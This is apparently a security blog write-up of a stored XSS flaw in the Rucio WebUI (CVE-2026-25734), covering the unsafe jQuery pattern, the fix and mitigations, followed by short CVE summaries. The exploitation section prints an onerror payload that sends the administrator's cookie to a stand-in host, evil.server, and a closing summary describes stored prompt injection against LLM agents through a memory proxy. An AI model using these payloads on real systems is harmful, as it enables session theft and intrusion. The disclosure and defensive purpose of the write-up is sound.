Feb 25, 2026·6 min read·70 visits
Stored XSS in Rucio WebUI via RSE metadata fields (City, Country, ISP). Unsafe jQuery usage allowed arbitrary HTML injection. Fixed in versions 35.8.3, 38.5.4, and 39.3.1.
Rucio, the data management titan used by CERN and other scientific behemoths, suffered from a classic web vulnerability: Stored Cross-Site Scripting (XSS). Buried within the Rucio Storage Element (RSE) metadata handling, the WebUI blindly trusted backend data, rendering it directly into the DOM via unsafe jQuery methods. This allows an attacker with RSE configuration privileges to plant malicious JavaScript payloads that execute in the browser of any administrator viewing the storage details, leading to session hijacking and potential compromise of massive scientific datasets.
Rucio isn't your average CRUD app. It is the backbone of scientific data management, originally built for the ATLAS experiment at CERN. We are talking about exabytes of data, grid computing, and the kind of infrastructure that helps discover the Higgs boson. When you manage that level of data, integrity is paramount. If I can mess with the data management layer, I can potentially corrupt scientific results or hold petabytes of research for ransom.
The vulnerability lies in the Rucio WebUI. While the backend is a complex beast of Python and databases, the frontend is... well, it's a web app. And like many web apps born in a specific era, it relies heavily on jQuery. The specific target here is the Rucio Storage Element (RSE) management interface. RSEs are the actual storage locations (disks, tapes) where data lives. Administrators configure these with metadata: location, ISP, country, etc. It sounds boring, but to a hacker, "metadata" is just a synonym for "untrusted input vector."
The root cause of CVE-2026-25734 is a tale as old as the modern web: Unsafe Sinks. The developers fell into the trap of convenience. When fetching RSE details from the backend, the WebUI needs to display them in a nice table. The logical, safe way to do this is to create a text node and insert it.
The fast way to do it—and the wrong way—is string concatenation passed to jQuery's .append() or .html().
In the vulnerable versions of rses.js, rse.js, and account.js, the code looked something like this:
// pseudo-code of the vulnerability
$('#t_metadata').append($('<tr><th>' + key + '</th><td>' + data[key] + '</td></tr>'));See the issue? data[key] comes from the database. If I set the RSE's "City" to Geneva, it renders <td>Geneva</td>. But if I set the City to <img src=x onerror=alert(1)>, jQuery doesn't just treat that as text. It sees HTML tags, parses them, and executes them. This converts a simple data display field into a remote code execution launchpad within the administrator's browser.
Let's look at the actual remediation to understand the mechanics. The fix wasn't about adding a WAF or sanitizing input on the backend (though you should do that too); it was about context-aware output encoding.
The Vulnerable Pattern: The code was taking raw strings and forcing the browser to interpret them as HTML.
// Vulnerable: concatenation leads to HTML parsing
$('table').append('<tr><td>' + userInput + '</td></tr>');The Fix (v39.3.1): The patch moves to programmatic DOM construction. Instead of building a string, we build elements.
// Fixed: .text() encodes HTML entities automatically
var row = $('<tr>');
var cell = $('<td>').text(userInput); // <script> becomes <script>
row.append(cell);
$('table').append(row);In some places where DataTables were used, they had to use a specific idiom to sanitize the data before passing it to the grid:
// Sanitizing for DataTables
$('<div>').text(val).html();This creates a temporary div, sets the text content (encoding it), and then grabs the html of that div (returning the encoded string). It's a bit hacky, but it works effectively to neutralize XSS payloads before the table renders them.
How does an attacker weaponize this? We need two things: Input and Execution.
Step 1: The Setup (Input)
The attacker needs privileges to modify RSE metadata. This usually requires RSE Admin privileges. While this is a high-privilege requirement, in large scientific collaborations, "RSE Admin" might be a university sysadmin, not the central Rucio super-admin. If an attacker compromises a university node, they can pivot.
They send a PUT request to the Rucio API:
PUT /rses/CERN-PROD/attr HTTP/1.1
Host: rucio-server
Content-Type: application/json
{
"ISP": "<img src=x onerror=fetch('https://evil.server/log?c='+btoa(document.cookie)) />"
}Step 2: The Trap (Storage) The backend dutifully saves this string. It doesn't care that the ISP name looks like an HTML tag.
Step 3: The Trigger (Execution)
A central Rucio operator (Super Admin) logs into the WebUI to troubleshoot a transfer issue at CERN-PROD. They navigate to the RSE details page. The JavaScript fetches the metadata and passes it to .append().
Step 4: The Impact
The browser renders the <img> tag. The image source x fails to load. The onerror event fires. The malicious JavaScript executes.
> [!WARNING]
> Critical Failure: The research indicates that Rucio session cookies lacked the HttpOnly flag (CWE-1004). This means document.cookie is fully accessible to JavaScript. The attacker instantly gets the Super Admin's session ID.
This isn't just about defacing a dashboard. The combination of Stored XSS and missing HttpOnly flags is catastrophic.
var token = ...). XSS allows reading these variables directly from memory.Once they are Super Admin, they can delete replicas, corrupt datasets, or disrupt data transfers across the entire grid.
If you are running Rucio, check your version immediately. You are vulnerable if you are on any version prior to 35.8.3, between 36.0.0rc1 and 38.5.4, or between 39.0.0rc1 and 39.3.1.
Immediate Actions:
rse_attr table in the database for strings containing <, >, or script./rses/*/attr endpoints.Developer Takeaway:
Never, ever use innerHTML or jQuery's .append(string) with untrusted data. It doesn't matter if the data comes from your own database—if a user put it there, it's untrusted. Use .innerText or .text().
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:H/I:H/A:N| Product | Affected Versions | Fixed Version |
|---|---|---|
Rucio Rucio | < 35.8.3 | 35.8.3 |
Rucio Rucio | >= 36.0.0rc1, < 38.5.4 | 38.5.4 |
Rucio Rucio | >= 39.0.0rc1, < 39.3.1 | 39.3.1 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-79 |
| Attack Vector | Network |
| CVSS Score | 6.1 |
| Privileges Required | High (RSE Admin) |
| User Interaction | Required (Victim must view page) |
| Exploit Status | PoC Available |
NATS Server prior to versions 2.12.8 and 2.14.3 contains an incorrect authorization vulnerability (CWE-863) in its message tracing subsystem. When evaluating whether a connection is permitted to publish trace events to a destination subject specified in the Nats-Trace-Dest header, the server only checks standard client permissions and omits permission checks for leaf node connections. This allows a connected leaf node operator with restricted publishing privileges to emit internal trace events to unauthorized subjects and suppress standard message delivery using the Nats-Trace-Only header.
CVE-2026-63341 is a high-severity Denial of Service (DoS) vulnerability in the Aedes MQTT broker for Node.js affecting all versions prior to 1.1.1. The flaw stems from missing input validation on the hierarchical depth of incoming MQTT topic strings before they are passed to the underlying topic-matching engine, qlobber. Because qlobber enforces a hardcoded limit of 100 topic levels and throws a synchronous exception when this threshold is exceeded, an attacker can send a single MQTT packet containing 101 or more forward-slash-separated levels to trigger an uncaught exception that immediately terminates the Node.js broker process.
CVE-2026-61725 is a path traversal vulnerability (CWE-22) in the sevenz-rust2 Cargo package prior to version 0.21.1. The vulnerability occurs because the decompression utility fails to validate or sanitize archive entry filenames before joining them with the destination directory path via std::path::Path::join. An attacker who supplies a crafted 7z archive containing parent directory traversal sequences or absolute paths can write or overwrite arbitrary files on the host filesystem with the privileges of the extracting process.
CVE-2026-77309 (GHSA-jrjx-9jjw-747m) is a high-severity unauthenticated remote code execution vulnerability affecting NASA-AMMOS AIT-GUI versions 1.0.0 through 2.5.0. The flaw results from chaining an incomplete file cleanup error in the telemetry query endpoint (/tlm/query) with a directory traversal flaw in the script execution endpoint (/script/run). An attacker on an adjacent network can stage arbitrary Python statements into a static file on disk and execute that file under the privileges of the AIT-GUI web server process.
A vulnerability classified under CWE-116 (Improper Encoding or Escaping of Output) exists in memtomem-stm versions 0.1.0 through 0.1.33. The software acts as a Model Context Protocol (MCP) short-term memory proxy gateway for AI agent architectures. When surfacing retrieved memories and scratchpad items into downstream Large Language Model (LLM) context envelopes, the SurfacingFormatter component fails to properly sanitize untrusted memory attributes. An attacker with the ability to plant untrusted content into the agent's long-term or working memory store can inject arbitrary structural delimiters, close the <surfaced-memories> XML boundary prematurely, visually obscure instructions using Unicode bidirectional overrides, and execute stored prompt injection attacks against downstream LLM agents.
CVE-2026-77331 (GHSA-72jh-722p-rqr3) is a concurrency and session-state synchronization vulnerability in memtomem-stm, a short-term memory proxy gateway for AI agents. In versions 0.1.2 prior to 0.1.34, concurrent Model Context Protocol (MCP) Remote Procedure Call (RPC) failures or mid-flight task cancellations can initiate duplicate reconnect loops and permit dirty or cancelled transport sessions to be reused. This deficiency results in session-state integrity loss and local service degradation.